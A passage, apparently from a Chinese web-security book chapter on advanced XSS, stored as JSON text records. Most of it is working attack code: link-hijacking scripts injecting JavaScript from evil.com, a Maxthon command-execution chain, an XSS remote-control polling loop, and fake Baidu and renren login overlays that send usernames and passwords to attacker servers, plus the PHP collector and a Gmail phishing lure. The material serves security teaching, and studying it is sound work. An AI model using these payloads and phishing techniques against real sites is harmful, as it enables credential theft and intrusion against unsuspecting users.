    {"text": "7.5 浏览器劫持技术 浏览器劫持技术是指通过劫持用户点击链接操作，在打开新窗口的时候注入攻击者的JavaScript脚本，以达到将XSS威胁延续到同域内的其他页面。 看下面的代码说明： <body> <!-- 劫持链接对象 --> <a href=\"test1.html\">test1.html</a><br /> <a href=\"test2.html\">test2.html</a> <script> function script2obj(window_obj, src){ s = window_obj.document.createElement('script'); s.src = src; window_obj.document.getElementsByTagName('body')[0].appendChild(s) } function hijack_links(js){ /*劫持链接点击，参数说明： js: 注入打开的同域链接页面的目标js文件*/ for (i = 0; i < document.links.length; i++) { // 遍历链接对象，劫持onclick事件 document.links[i].onclick = function () { x = window.open(this.href); // 获取打开新窗口的对象 setTimeout(\"script2obj(x,'\"+js+\"')\", 2000); // 延时2秒向打开的劫持链接对象的DOM树中注入alert.js文件 return false; }; } } hijack_links('http://www.evil.com/alert.js'); </script> </body> 为了让这样的劫持继续下去，可以在alert.js中继续执行hijack_links，以达到在同域内对任意页面进行控制。 7.6 一些跨域操作技术 这里介绍的几乎都是由于浏览器相关缺陷而导致的跨域风险，有些已经修补，但是比较有代表性，可以举一反三。"},
    {"text": "7.6.1 IE res:协议跨域 “知道创宇”安全研究团队在2008年的xKungFoo上公布了很多独立研究的网马技巧，其中就包括IE res:协议跨域探测本地域是否存在目标软件的POC，这类技巧在公布前实际上存在已久，但并没有被广泛提及。"},
    {"text": "2011年，Google Gmail被攻击事件就用到了这个POC，代码如下： <script> //////////////////////////////////////////////////////// //Name: img标签远程域检测本地域软件是否存在poc //Description: IE浏览器都有效 //Author: Knownsec Team //Date: 2008-11-03 //////////////////////////////////////////////////////// knownImg = {} knownImg.resList = [ //数组中填写本地软件id值与图片地址值（res协议或file协议） {id: 'Avira', res: 'res://C:\\\\Program%20Files\\\\Avira\\\\AntiVir%20PersonalEdition%20Classic\\\\setup.dll/#2/#132'}, {id: 'baidu', res: 'res://C:\\\\Program%20Files\\\\baidu\\\\Baidu%20Hi\\\\BaiduHi.exe/#2/#152'}, {id: 'Super Rabbit', res: 'res://C:\\\\Program%20Files\\\\Super%20Rabbit\\\\MagicSet\\\\timedate.exe/#2/BBNO'}, {id: '365Menshen', res: 'res://C:\\\\Program%20Files\\\\365Menshen\\\\menshen.exe/#2/#227'}, {id: 'quicktime', res: 'res://c:\\\\program%20files\\\\quicktime\\\\quicktimeplayer.exe/#2/#403'} ]; knownImg.ok_resList = new Array(); //确认软件存在时，填入此数组 knownImg.tmp_resList = new Array(); knownImg.checkSoft = function(){ //检测函数 if (document.all){ x = new Array(); for (i = 0; i < knownImg.resList.length; i++){ x[i] = new Image(); x[i].src = \"\"; knownImg.ok_resList.push(knownImg.resList[i].id); //将resList里的id值依次扔进ok_resList数组中 x[i].onload = function(){ //alert(knownImg.resList[i].id + ': return true'); } x[i].onerror = function(){ //alert(knownImg.resList[i].id + ': return false'); knownImg.ok_resList.pop(); //软件不存在时，从ok_resList数组弹出对应的id值 } x[i].src = knownImg.resList[i].res; } } } knownImg.checkSoft(); alert(knownImg.ok_resList); //弹出 document.write('你的系统中存在以下软件：<br />'+knownImg.ok_resList.join('<br />')); </script> 7.6.2 CSS String Injection跨域 IE下出现过一个CSS解析的跨域漏洞，罪魁祸首其实是CSS的高容错性和一个便捷的DOM操作接口，通过它们可以直接获取目标CSS区域的内容。 参考下面（《白帽子讲Web安全》的作者吴翰清）给出的样例，www.a.com/test.html代码如下： <body> {}body{font-family: aaaaaaaaaaaaaa bbbbbbbbbbbbbbbb </body> 攻击者页面www.b.com/test2.html的代码如下： <style> @import url(\"http://www.a.com/test.html\"); </style> <script> setTimeout(function(){ var t = document.body.currentStyle.fontFamily; alert(t); },2000); </script> 被攻击者访问攻击者的页面时，弹出信息如图7-7所示。"},
    {"text": "图7-7 CSS String Injection效果 这是一个非常有趣的跨域技巧，@import方式导入外域CSS文件本身是一个正常的行为，然后IE通过document.body.currentStyle.fontFamily方式访问目标样式的font-family属性，它的值恰好是font-family之后的所有内容，这是CSS高容错性导致的（这在2.6.1节中已提过）。"},
    {"text": "7.6.3 浏览器特权区域风险 浏览器为了支持更多方便的功能，往往需要有一些特权区域存在，这些特权是相对浏览器Internet域来说的，比如，扩展、插件能够和本地系统打交道，一些功能页面也具备和本地系统等打交道的能力。"},
    {"text": "举个经典的例子，傲游浏览器3存在远程命令执行漏洞，原因是因为傲游浏览器默认主页i.maxthon.cn是一个特权页面，且存在XSS可以直接控制该特权页面进行任意操作，我们按F12键打开开发者工具，可以看到一些特权API，如图7-8所示。"},
    {"text": "下面看看maxthon对象，如maxthon.program.Program.launch API可以这样使用： maxthon.program.Program.launch(\"calc.exe\",\"C:\\\\windows\\\\system32\\\\\"); 执行这条语句时，可以打开一个计算器。"},
    {"text": "再如mxapi.favorites.list API，可以获取收藏夹里保存的链接： mxapi.favorites.list(); 有这些特权API存在，同时我们还发现了i.maxthon.cn上的XSS： http://api.i.maxthon.cn/feedback/feedback.php?callback=%3Cscript%20src=http://www.evil.com/exp.js%3E%3C/script%3E 请求时，页面输出： <script src=http://www.evil.com/exp.js></script>({\"code\":1,\"message\":\"\\ u53cd\\u9988\\u5185\\u5bb9\\u4e3a\\u7a7a\"}) exp.js的代码如下： maxthon.program.Program.launch(\"calc.exe\",\"C:\\\\windows\\\\system32\\\\\"); 我们可以将这个XSS链接以iframe形式进入我们控制的网页中，当触发XSS时，就执行了系统命令，如图7-9所示。"},
    {"text": "图7-9 maxthon远程命令执行0day截图 7.6.4 浏览器扩展风险 浏览器为了丰富自身的功能，允许第三方提供各类插件或扩展，但这些扩展的权限如果没有控制好，就会带来很严重的后果。"},
    {"text": "举一个经典的例子：Chrome扩展带来的安全风险，Chrome浏览器Speed Dial 2（快速拨号）应用存在DOM XSS，通过这个XSS可以越权操作，导致各种严重的信息泄漏问题。"},
    {"text": "Speed Dial 2会将用户访问的链接信息等存储在localStorage中，其中有一个关键字是_closed_tabs，这个关键字的值存储了最近关闭的链接信息，如：url、title，其中title如果存在恶意脚本，就会触发DOM XSS。 比如，访问speeddial2.html文件，代码如下： <title>123'\"><script>alert(1)</script>456</title> speed dail 2 localStorage dom xss 然后关闭，当新建标签时，会看到弹出数字1，如图7-10所示。 图7-10 Speed Dial 2 XSS 按F12键打开开发人员工具，查看Resources→Local Storage，如图7-11所示。"},
    {"text": "图7-11 Chrome F12查看Local Storage 可以看到title的值是： 123'\\\"><script>alert(1)</script>456 上面这个title值由下面这个js文件来执行： chrome-extension://jpfpebmajhhopeonhlcgidhclcccjcik/js_system/sidebar.hi story.js 代码片段如下： var closedTabs = JSON.parse(localStorage[\"_closed_tabs\"]); if (!closedTabs) return false; for (var i=closedTabs.length-1; i >= 0; i--) { var li = document.createElement('li'); var a = document.createElement('a'); a.setAttribute('href',closedTabs[i].url); a.innerHTML = ( closedTabs[i].title ? '<b>'+closedTabs[i].title+'</b>' : '<b>No title</b>' ) + '<br />'; li.style.backgroundImage = 'url(chrome://favicon/'+ closedTabs[i].url+')'; li.setAttribute('class','openurl'); li.setAttribute('rel',closedTabs[i].url); li.appendChild(a); $('#history ul#history_items').append(li); }; 就这样触发了DOM XSS。"},
    {"text": "当开启了同步功能后，Speed Dial 2的账户和密码也会存储一份到localStorage中，可以通过下面的方法得到： localStorage.getItem('options.sync.username'); localStorage.getItem('options.sync.password'); 在类似下面这样的安装目录下可以找到这个扩展应用的源文件： C:\\Users\\xxx\\AppData\\Local\\Google\\Chrome\\UserData\\Default\\Extensions\\jpfpebmajhhopeonhlcgidhclcccjcik\\1.6.0.8_0 我们查看manifest.json配置文件可以看到这个扩展的权限： \"permissions\": [ \"bookmarks\", \"tabs\", \"history\", \"management\", \"unlimitedStorage\", \"chrome://favicon/\", \"http://*/\", \"https://*/\", \"contextMenus\", \"notifications\" ], 这是一种特别不安全的授权，利用前面那个DOM XSS可以进行许多危险的操作，比如获取所有的书签，简单的代码如下： chrome.bookmarks.getTree(function(o){console.log(o[0].children[0].childr en[2].children[1].url)}) 2）进行跨域请求，比如请求Google账号的网络历史记录 var xhr = new XMLHttpRequest(); xhr.open(\"GET\", \"https://www.google.com/history/\", true); // 请求Google搜索的网络历史记录 xhr.onreadystatechange = function() { if (xhr.readyState == 4) { document.write(xhr.responseText); } } xhr.send(); 这样的跨域请求危害非常大，在满足攻击的场景下，可以盗取、篡改目标用户任意网站的数据。"},
    {"text": "7.6.5 跨子域：document.domain技巧 跨子域：document domain技巧非常好用，属于浏览器的性质。 现在很多网站把不同的子业务放到不同的子域下，比如： www.foo.com app.foo.com blog.foo.com message.foo.com 但是这些子域下总会存在一个类似proxy.html的文件，这个文件有如下代码： <script>document.domain=\"foo.com\";</script> 有一个合法的性质是：这个页面可以设置document.domain为当前子域或比当前子域更高级的域。 一般顶级就到了根域，如果设置为其他域，浏览器就会报权限错误。"},
    {"text": "根据这个性质，我们做了一个测试样本，这个测试样例利用WebKit内核浏览器的一个缺陷（由sog1发现），导致顶级的域是域名后缀，比如foo.com的域名后缀是com。"},
    {"text": "将这4个文件放到Web服务的/proxy/目录下，readme.txt的内容如下： 设置hosts: 127.0.0.1 www.evil.com 127.0.0.1 user.proxy.com 原理： 设置：document.domain='com'; 在webkit内核下，任意跨了。 访问http://www.evil.com/proxy/attack.htm attack.htm的代码如下： <html> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" /> </head> <body></body> <script> document.domain=\"com\"; // 设置域为WebKit认为的顶级域 function inj_iframe(src,onload){ /*注入框架*/ var o = document.createElement(\"iframe\"); o.src = src; o.width = o.height = 300; o.id=\"proxy\"; if(onload) o.onload = onload; // iframe加载完成后执行onload函数 document.getElementsByTagName(\"body\")[0].appendChild(o); return o; } function inject(){ var d = document.getElementById(\"proxy\").contentDocument || document.getElementById(\"proxy\").contentWindow.document //d.write('123'); var x = d.createElement(\"SCRIPT\"); x.src =\"http://www.evil.com/proxy/poc.js\"; // 注入poc.js文件 x.defer = true; d.getElementsByTagName(\"HEAD\")[0].appendChild(x); } // iframe方式请求proxy.htm文件，来自user.proxy.com域 var o = inj_iframe(\"http://user.proxy.com/proxy/proxy.htm\",inject); </script> </html> proxy.htm的代码如下： <html> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" /> <script> getTransport = function( ) { var xmlHttp; if (window.ActiveXObject) { xmlHttp = new ActiveXObject('Microsoft.XMLHTTP'); } else if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } return xmlHttp; }; document.domain=\"com\"; // 主要是这里，user.proxy.com的proxy.htm也将自己的域设置为com alert(\"proxy.htm: \"+document.domain); </script> </head> <body> i am proxy.htm </body> </html> 当attack.htm通过iframe方式载入不同域的proxy.htm后，由于document.domain值是一样的，都是com。 对浏览器来说，这其实就是合法的，不受同源策略限制后，就可以成功地往proxy.htm上下文注入poc.js文件： alert(document.domain+\" | poc.js\"); xhr = getTransport(); function req(method,src,argv){ xhr.open(method,src,false); if(method==\"POST\")xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"); xhr.send(argv); return xhr.responseText; } // 因在proxy.htm上下文执行这段代码，那么请求proxy.htm所在域的任何内容也就变得合法了 x = req(\"GET\",\"http://user.proxy.com/proxy/proxy.htm\"); alert(x); // 弹出proxy.htm的内容 最后，弹出proxy.htm内容的效果如图7-12所示。 图7-12 WebKit下跨子域效果 这种跨子域的问题在Web 2.0网站上几乎是常态，有的网站的设置不通过proxy.html文件，而是在任意页面都嵌入公共的js文件，在这个js文件里设置document.domain为顶级域，这样的做法给XSS攻击带来了巨大便利，即只要在任意一个子域下找到XSS漏洞，都能危害到目标页面。 7.6.6 更多经典的跨域索引 1. 利用UNC“跨域” superhei写的一篇文章《走向本地的邪恶之路》，文章地址是： http://www.80vul.com/webzine_0x05/0x06走向本地的邪恶之路.html 大意是通过Internet域（http协议）的代码，比如<iframe>标签利用file协议调用本地的XSS漏洞页面，并通过这个本地XSS执行任意的JavaScript代码，由于是file协议，权限会更大，比如，利用AJAX读取本地文件。 测试中发现IE可以通过UNC方式（“统一命名约定”地址用于确定保存在网络服务器上的文件位置）访问本地文件，如： file:////127.0.0.1/c$/ 由于是UNC方式，浏览器以为这是Internet域，就允许访问，这样实际上就跨协议了（http协议跨到file协议）。"},
    {"text": "2. mhtml:协议跨域 暗夜潜风写的《IE下MHTML协议带来的跨域危害》也是跨域攻击的经典，文章地址是： http://www.80vul.com/webzine_0x05/0x05 IE下MHTML协议带来的跨域危害.html 这篇文章已写得足够详细，大家可以参考其中的内容，并参考superhei之后发表的：结合mhtml跨域漏洞的各种利用技巧《Hacking with mhtml protocol handler》，网址为： http://www.80vul.com/mhtml/Hacking with mhtml protocol handler.txt 这个漏洞已经被修补，如果现在还要测试，可以安装WinXP虚拟机，在IE 6环境下直接测试即可。"},
    {"text": "7.7 XSS Proxy技术 XSS Proxy技术用到了基于浏览器的远程控制上，这是一种非常好的思想，现在很多XSS利用框架，如XSS Shell、BeEF、Anehta等远程控制都是基于XSS Proxy的。"},
    {"text": "对于第1个条件，要么浏览器每隔几秒主动请求服务端指令接口，要么服务端主动推送指令给浏览器，这个过程如果延后几秒是没问题的，可以认为是实时的。"},
    {"text": "这种技术在之前有提过，包括请求回来的是JSON+CallBack函数这样的数据内容（这种跨域数据通信被称为JSONP），格式如下： hijack([{ \"id\": 585904, \"text\": \"...\", \"sender_id\": \"Salina_Wu\", \"recipient_id\": \"ycosxhack\", \"created_at\": \"Sat May 31 05:00:01 +0000 2008\", \"sender_screen_name\": \"LOLO\", \"recipient_screen_name\": \"余弦\" }, //... 省略 ]) 然后结合JavaScript的setInterval函数，间隔几秒向远控服务端指令接口请求数据，而服务端可以根据控制者的需求生成指令到中间存储文件中（比如数据库、内存、文件系统等），由这个指令接口来统一调度这些生成的指令。"},
    {"text": "被控浏览器端的setInterval模型如下： function inj_script(src,onload){ o = document.createElement(\"script\"); o.src = src; if(onload){ if (!window.ActiveXObject) { o.onload = onload; }else{ o.onreadystatechange = function () { if (o.readyState == 'loaded' || o.readyState == 'complete') { onload(); } } } } document.getElementsByTagName(\"body\")[0].appendChild(o); return o; } function remove_obj(o){ document.body.removeChild(o); } setInterval(function () { // 每隔3秒执行一次 // 注入脚本文件 var rtcmd = inj_script('http://www.evil.com/rtcmd?date=' + new Date ().getTime()); setTimeout(function () { remove_obj(rtcmd); // 删除脚本文件对象 }, 500); }, 3000); 注入的脚本文件是一个服务端动态文件，也就是服务端指令接口，每次都会返回控制者生成的指令内容，如果没有指令，则返回空内容。"},
    {"text": "通过这个XSS Proxy模型是可以受到很多好的启示的，不过这个模型有一个缺陷，就是大多数时间，被控浏览器发起的服务端指令接口请求都是无用功，因为很可能并没有指令内容，控制者不会每隔3秒发出一个指令。"},
    {"text": "7.7.3 服务端WebSocket推送指令 严格地说，WebSocket技术不属于HTML5，这个技术是对HTTP无状态连接的一种革新，本质就是一种持久性socket连接，在浏览器客户端通过JavaScript进行初始化连接后，就可以监听相关的事件和调用socket方法来对服务端的消息进行读写操作。 WebSocket的官方地址是：www.websocket.org，其中给出了一些样例，可以直接在线测试，当前Firefox与Chrome都支持WebSocket，且支持WebSocket的安全链接。 在WebSocket的官网主页面中，单击左边Demos下的Echo Test链接，测试时，先单击“Connect”按钮或选择“Use secure WebSocket”复选框后单击“Connect”按钮，建立持久连接，接着在Message框里输入内容，单击“Send”按钮，就可以在Log框中看到相关记录，测试截图如图7-13所示。 图7-13 WebSocket Demo测试 大家在测试时，可以看看请求头与响应头的内容，观察有什么不一样的地方。 这个样例的核心JavaScript代码与注释如下： var wsUri = \"ws://echo.websocket.org/\"; // ws://协议表示这是WebSocket服务端地址 var output; function init() { output = document.getElementById(\"output\"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); // 新建一个连接 websocket.onopen = function (evt) { // 当连接创建时，触发 onOpen(evt) }; websocket.onclose = function (evt) { // 当连接关闭时，触发 onClose(evt) }; websocket.onmessage = function (evt) { // 当接收到服务端发送过来的消息时，触发 onMessage(evt) }; websocket.onerror = function (evt) { // 当错误时，触发 onError(evt) }; } function onOpen(evt) { writeToScreen(\"CONNECTED\"); doSend(\"WebSocket rocks\"); } function onClose(evt) { writeToScreen(\"DISCONNECTED\"); } function onMessage(evt) { writeToScreen('<span style=\"color: blue;\">RESPONSE: ' + evt.data + '</ span>'); websocket.close(); } function onError(evt) { writeToScreen('<span style=\"color: red;\">ERROR:</span> ' + evt.data); } function doSend(message) { writeToScreen(\"SENT: \" + message); websocket.send(message); // 发送消息到服务端 } function writeToScreen(message) { var pre = document.createElement(\"p\"); pre.style.wordWrap = \"break-word\"; pre.innerHTML = message; output.appendChild(pre); } window.addEventListener(\"load\", init, false); 这种连接是可跨域的，这个特性导致我们至少可以用来做远控，客户端通过监听onmessage事件，就能及时响应来自服务端发送过来的指令。"},
    {"text": "7.7.4 postMessage方式推送指令 HTML5的postMessage机制非常优美，是客户端最直接的跨文档传输方法，一般用在iframe中父页与子页之间的客户端跨域通信。 例如，http://www.evil.com/postmsg/evil.htm的代码如下： <html> <head> <title>evil</title> </head> <body> <pre> (1)利用window.postMessage()跨域传递消息 (2)本域是www.evil.com，向www.foo.com/postmsg/foo.htm 传递数据 <button id=\"btnPassData\">跨域传递消息</button> </pre> 利用iframe加载另一个域www.foo.com/postmsg/foo.htm： <div> <iframe src=\"http://www.foo.com/postmsg/foo.htm\" id=\"b_iframe\" width=\"800\" height=\"200\"> </iframe> </div> </body> </html> <script> window.onload = function() { document.getElementById(\"btnPassData\").onclick = function() { var iframedom = document.getElementById(\"b_iframe\").content Window; if (typeof window.postMessage !== \"undefined\") { // 利用子页的DOM窗口对象，跨域发送消息 iframedom.postMessage(\"msg from \"+document.domain, \"http:// www.foo.com/postmsg/foo.htm\"); } } // 绑定onmessage事件监听 if (window.attachEvent) { window.attachEvent(\"onmessage\", receiveMsg); } else { window.addEventListener(\"message\", receiveMsg, true); } }; var receiveMsg = function(e) { alert('i am '+document.domain+'\\nget msg from: - '+e.data); // 获取传递过来的数据 } </script> http://www.foo.com/postmsg/foo.htm的代码如下： <html> <head> <title>foo</title> </head> <body> 接受来自www.evil.com域下传递过来的值： <div id=\"r\" style=\"border:1px solid blue; width:500px; height:100px;\"> </div> <script> // 绑定onmessage事件监听 window.onload = function() { if (window.attachEvent) { window.attachEvent(\"onmessage\", acceptMsg); } else { window.addEventListener(\"message\", acceptMsg, true); } } var acceptMsg = function(e) { // 该函数用来表示在window.onmessage事件触发时进行接收数据的处理 if(e.origin.indexOf(\"http://www.evil.com\")!=-1){ // 作用是排除其他非法域名，即只接收http://www.evil.com传递过来的数据 document.getElementById('r').innerHTML = e.data; } window.top.postMessage(\"msg from \"+document.domain, \"http://www.evil.com/postmsg/evil.htm\"); // pong }; </script> </body> </html> 从代码中可以清晰地知道postMessage机制，这种跨域需要双方默契配合，且可以在客户端通过origin进行判断请求的来源是否合法，效果如图7-14所示。 图7-14 postMessage效果 这个技巧如果用于XSS Proxy上可能有些绕，攻击者的页面需要动态生成，然后在客户端层面进行跨域传输指令。"},
    {"text": "7.8.1 高级钓鱼攻击之百度空间登录DIV层钓鱼 在百度空间中，用户注册后会得到一个属于自己的空间地址，如hackomega用户的地址是： http://hi.baidu.com/hackomega 由此可见，用户都在hi.baidu.com域下，如果出现XSS漏洞，就可能执行许多危险的操作，我们发现百度空间个人主页上存在一个持久型XSS漏洞，用户可以在自己的空间主页上添加一个自定义widget，由于没有过滤src值中的双引号，导致可以构造出如下XSS代码： <iframe width=\"216\" height=\"160\" frameborder=\"0\" src=\"http://www.widget8 .com/ipqm/baidu.html?id=baidu\" onload=\"s=document.createElement('script'); s.src='http://hackomega.com/test.js';document.getElementsByTagName('body')[0 ].appendChild(s);\"\" style=\"overflow-x:hidden;border-style: none #ffffff solid; \" marginwidth=\"0\" marginheight =\"0\"> 其中，http://hackomega.com/test.js是我们要实施攻击的js文件。"},
    {"text": "回到http://hackomega.com/test.js脚本文件，其代码如下（这段代码来自百度空间自己的登录函数，直接复制并做些修改即可）： BdUtil.relogin = function(){ function Iframe(url,t,w,h) { var W=w||350; var H=h||100; var T=t||\"提示\"; var pop=new Popup({ contentType:1, isReloadOnClose:false, isSupportDraging:false, width:W, height:H}); pop.setContent(\"title\",T); pop.setContent(\"contentUrl\",url); pop.build(); pop.show(); return pop; } var g_jump_url=window.location; //正常的登录表单，我们把它注释掉 //g_pop=Iframe(\"https://passport.baidu.com/?login&psp_tt=2&tpl=sp&fu=\"+escape(\"http://hi.baidu.com/st/loginok.html\")+\"&u=\"+escape(g_jump_url), \"登录到百度空间\",400,330); //使用自己伪造的登录表单页面login.htm g_pop=Iframe(\"http://hackomega.com/baidu/login.htm#\"+escape(g_jump_url), \"登录到百度空间\",400,330); if(window.location.href=='http://hi.baidu.com' || window.location.href== 'http://hi.baidu.com/' || window.location.href=='http://hi.baidu.com/index. html' || window.location.href.toLowerCase()=='http://hi.baidu.com/index% 2ehtml'){//fixed the bug of /index G('dialogBox').style.top=\"200px\"; G('dialogBoxShadow').style.top=\"204px\"; G('dialogBox').style.left=\"35%\"; G('dialogBoxShadow').style.left=\"35%\"; } } BdUtil.relogin函数会在用户单击空间主页右上角的“登录”链接时触发，并弹出DIV登录框，这里其实是将BdUtil.relogin重写了，这样就可以执行我们需要的操作。 填充一个伪造的登录表单login.htm，关键代码如下： <!--STATUS OK--> <html> <head> <meta http-equiv=content-type content=\"text/html; charset=utf-8\"> <title>百度个人中心登录</title> <script language=\"javascript\"> function G(id){return document.getElementById(id);} </script> <META http-equiv='Pragma' content='no-cache'> <style type=\"text/css\"> form{MARGIN: 0px; PADDING: 0px;} body{margin:0;padding:0;width:362px;background-color:#FFFFFF;color:#333333;} #main{width:362px;margin:0;margin:0;} div{font-size:12px;line-height:18px} /*省略过多样式，样式其实非常重要，它决定了钓鱼页面的呈现，这些样式不需要重写，可以复制百度空间DIV登录框对应的样式*/ </style> <script> //省略无关的JavaScript代码 </script> </head> <body> <div id=\"main\" align=\"left\"> <div class=\"b2\"> <div id=\"div_login\"> <div id=\"login_tit\"><strong>百度注册用户请直接登录</strong></div> <form action=\"https://passport.baidu.com/?login\" method=\"POST\" onSubmit=\"return checkForm(this);\"> <!--省略多余的表单项--> <div class=\"item2\"> <div class=\"tit\">用户名:</div> <div class=\"desc\"><input type=\"text\" name=\"username\" id=\"username\" value=\"\" onChange=\"chechUserOld('username')\" class=\"ip\"/></div> </div> <div class=\"item2\" id=\"trPassNorm\" style=\"display:none;\"> <div class=\"tit\">密 码:</div> <div class=\"desc\"><input type=\"password\" id=\"normModPsp\" value=\"\" class=\"ip\"/></div> </div> <div class=\"item2\" id=\"vcodeTr\" style=\"display:none;\"> <div class=\"tit\">验证码:</div> <div id=\"tdSafeCont\" class=\"desc\"> <input type=\"text\" id=\"verifycode\" name=\"verifycode\" class=\"ip\" style=\"width:60px\" maxlength=\"4\"/> <script>document.write('<img src=\"https://passport.baidu.com/?verifypic&t='+(new Date().getTime())+'\" id=\"verifypic\" />');</script><a href=\"javascript:newverifypic();\" title=\"看不清左边的字符\">看不清?</a> </div> </div> <div class=\"item2\" id=\"trRem1\" > <div class=\"tit\"></div> <div class=\"desc\"> <span class=\"f13\"><input name=\"mem_pass\" id=\"mem_pass\" checked=\"checked\" type=\"checkbox\"><label for=\"mem_pass\">记住我的登录状态</label> </span> </div> </div> <div class=\"item2\" id=\"trRem2\" > <div class=\"tit\"></div> <div class=\"desc\"> <span class=\"mespasstip\">使用公用电脑请勿选择该项</span> </div> </div> <div class=\"item2\" > <div class=\"tit\"></div> <div class=\"desc\"> <input type=\"submit\" value=\" 登录 \"/>&nbsp;&nbsp;<a target=\"_blank\" href=\"https://passport.baidu.com/?getpass_index\">忘记密码？ </a> </div> </div> <div style=\"clear:both;\"></div> </form> </div><!--div_login--> <div id=\"div_reg\"> <hr size=\"0\" style=\"border-top:1px solid #AAAAAA\"> <strong class=\"f12\">没有百度账号？"},
    {"text": "</strong> <div align=\"center\"><input type=\"button\" value=\"立即注册百度账号\" style=\"margin:10px 0 6px 0;width:140px\" onClick=\"goreg2();\"></div> </div> </div><!--b2--> </div><!--main--> <div id=\"bdNextTarget\" style=\"display:none;\"></div> <SCRIPT language=\"JavaScript\"> //省略无关的JavaScript代码 </SCRIPT> <div id=\"check_username_script\" style=\"display:none;\"></div> <script> //省略无关的JavaScript代码 function $$(x){return document.getElementById(x);}; var sub; inputs=document.getElementsByTagName('input'); for(i in inputs){ if(inputs[i].type=='submit'){ sub=inputs[i]; break; } } //偷取账号密码的关键函数在这里，当用户单击登录时，会触发该函数， //将用户名与密码发送到黑客的服务器上 sub.onclick=function(){ data = $$(\"username\").value+','+ $$(\"normModPsp\").value; new Image().src=\"http://hackomega.com/steal.php?data=\"+escape(data); } </script> </body> </html> 从login.htm代码中我们可以看到，账户和密码最终会被http://hackomega.com/steal.php获取，steal.php的核心代码如下： if (!empty($_REQUEST[\"data\"])){ $curtime = date(\"Y-m-d H:i:s\"); $ip = get_real_ip(); $useragent = get_user_agent(); $data = $_REQUEST[\"data\"]; $fp = fopen(\"baidu/data.html\", \"a+\"); fwrite($fp, \"<p>IP: $ip | $curtime <br />UserAgent: $useragent <br />DATA: \".quotes($data)).\"</p><br />\"; fclose($fp); } steal.php得到data的值后，会往baidu/data.html中写入代码，最终的效果如图7-16所示。 图7-16 百度空间钓鱼效果 从上面的代码中我们可以看到，整个攻击过程其实是非常隐蔽的，用户很难区分弹出的登录框是真的还是假的，按照习惯，用户和往常一样登录时，账户和密码就会被盗取。"},
    {"text": "7.8.2 高级钓鱼攻击之Gmail正常服务钓鱼 Gmail钓鱼攻击成功率在当时还是比较高的，其测试的对象中招率大于50%，这种攻击可以获取用户的Gmail密码。"},
    {"text": "现在的Web 2.0讲究Mashup（聚合），比如Google就有自己的Gadgets，这在Google Wave（曾经火一时的社交型在线即时通信交流的Web 2.0服务，现已下线）和igoogle里得到了巨大的发挥。"},
    {"text": "“谷歌开发者日2009”大会结束后，Google采用Google Docs Spreadsheets的形式发送一份关于Google Wave的调查，当时很多人都关注这个大会，并且很多IT人士关注着Wave，于是我们思考着如何黑了一些人，目的就是得到Gmail密码，下面看看是怎么操作的。"},
    {"text": "开始制作一个与Google官方发送的“Google Wave”调查非常相似的Spreadsheets（其实就是一种form表单），全英文的形式如图7-17所示。 图7-17 Google Wave伪造的调查表 这个伪造的Spreadsheet与Google官方发布的不一样之处就是后者会索要用户的密码。 注意：Spreadsheets是Google Docs的一种服务，是一种表单形式，经常被用来做在线调查，所以这个钓鱼的域属于Google，图7-17的地址像下面这样： https://spreadsheets.google.com/viewform?formkey=clowQVNxdk1iR2Y3R3BRM2FnLUSSDDjxD 2. 开始攻击 准备好后，我们就要用gwavegroups@gmail.com去发送邀请了，信件原文如下： Again. Thanks for your interest in the Google Wave developer sandbox! Please fill out the form below and we'll contact you after 24 hours. We need to confirm your Account on wave. The wave account will be binded to your google account. Please set the password same to your current google account. I've invited you to fill out the form Google Wave Sandbox Account Confirm. To fill it out, visit: https://spreadsheets.google.com/viewform?formkey=clowQVNxdk1iR2Y3R3BRM2FnLUSSDDjxD 效果非常不错，钓了圈内不少人的密码，当用户填写了上面的表单后，Spreadsheet会将填写的内容发送到我们的Google Docs管理后台，如图7-18所示。"},
    {"text": "图7-18 Google Docs后台上看到的被钓用户信息 7.8.3 人人网跨子域盗取MSN号 2009年，在中国软件安全峰会（简称SSCon）的《探究XSSVirus》的议题中我们提到：在基于Web平台的操作层面上，有些类似传统桌面的攻击同样会发生，比如，盗QQ号、MSN号、Web网游号等。"},
    {"text": "利用renren.com任意子域下发现的XSS，当用户被跨时，可以将如下payload写入用户本地存储：Cookie、userData、localStorage、Flash Cookie（具体内容可参看2.5.5节），比如，这里使用的是localStorage，那么下次读取并执行用户本地存储的payload只要用下面简单的一句代码即可。 eval(window.localStorage.getItem(\"shellcodz\")); 当然，也可以用传统的<script src=romote-domain/evil.js></script>调用远程payload，这个可以任意发挥，当时我们在SSCon 2009上的议题更加关注本地存储存放payload的问题，payload代码如下： window.onload = function () { //onload之后hijack alert(document.links.length); for (i = 0; i < document.links.length; i++) { document.links[i].onclick = hijack; } } function hijack() { //这里仅劫持目标页面的url：http://invite.renren.com/Invite.do //invite里有msn邀请好友的功能，其中有要求你输入msn账号密码 if (this.href.indexOf('invite.renren.com') == -1) { return }; x = window.open(this.href); //超时 5 秒是有道理的，inj 函数与 invite 页面 document.domain='renren.com'的 //时间竞争 //只要在document.domain='renren.com';之后执行inj，我们的跨子域攻击就可以成功 //因为此时子域的document.domain已经变为renren.com，可随便跨站 setTimeout(\"inj(x)\", 5000); return false; } function inj(x) { s = x.document.createElement('script'); //注入msn账号密码监控脚本 s.src = 'http://www.0x37.com/domain/monitor.js'; x.document.getElementsByTagName('body')[0].appendChild(s) } 监控脚本monitor.js的代码如下： sub=document.getElementsByTagName('input')[5]; sub.onclick=function(){ data = $(\"uAccount\").value+','+$(\"pwd\").value; //alert(data); new Image().src=\"http://www.0x37.com/domain/steal.asp?data=\"+escape(data); } 这段代码很简单，当用户输入MSN账号和密码邀请好友加入人人网时（invite页面如图7-19所示），用户的MSN账号和密码就会被盗取。"},
    {"text": "7.8.4 跨站获取更高权限 跨站获取最高权限是一个很酷的过程，一个XSS执行一系列操作，甚至将危害带到目标服务器操作系统层面，比如，植入一个提权shell。"},
    {"text": "1. 添加管理员账号 有时候通过Cookie利用，还要考虑到Cookie失效或者Cookie绑定了IP，或者Cookie带有HttpOnly标志导致不可利用。 如果在利用XSS的过程中可以直接在管理后台添加一个管理员账号会更方便，不过这也有一个不足，就是可能会被发现新出现的管理员账号。"},
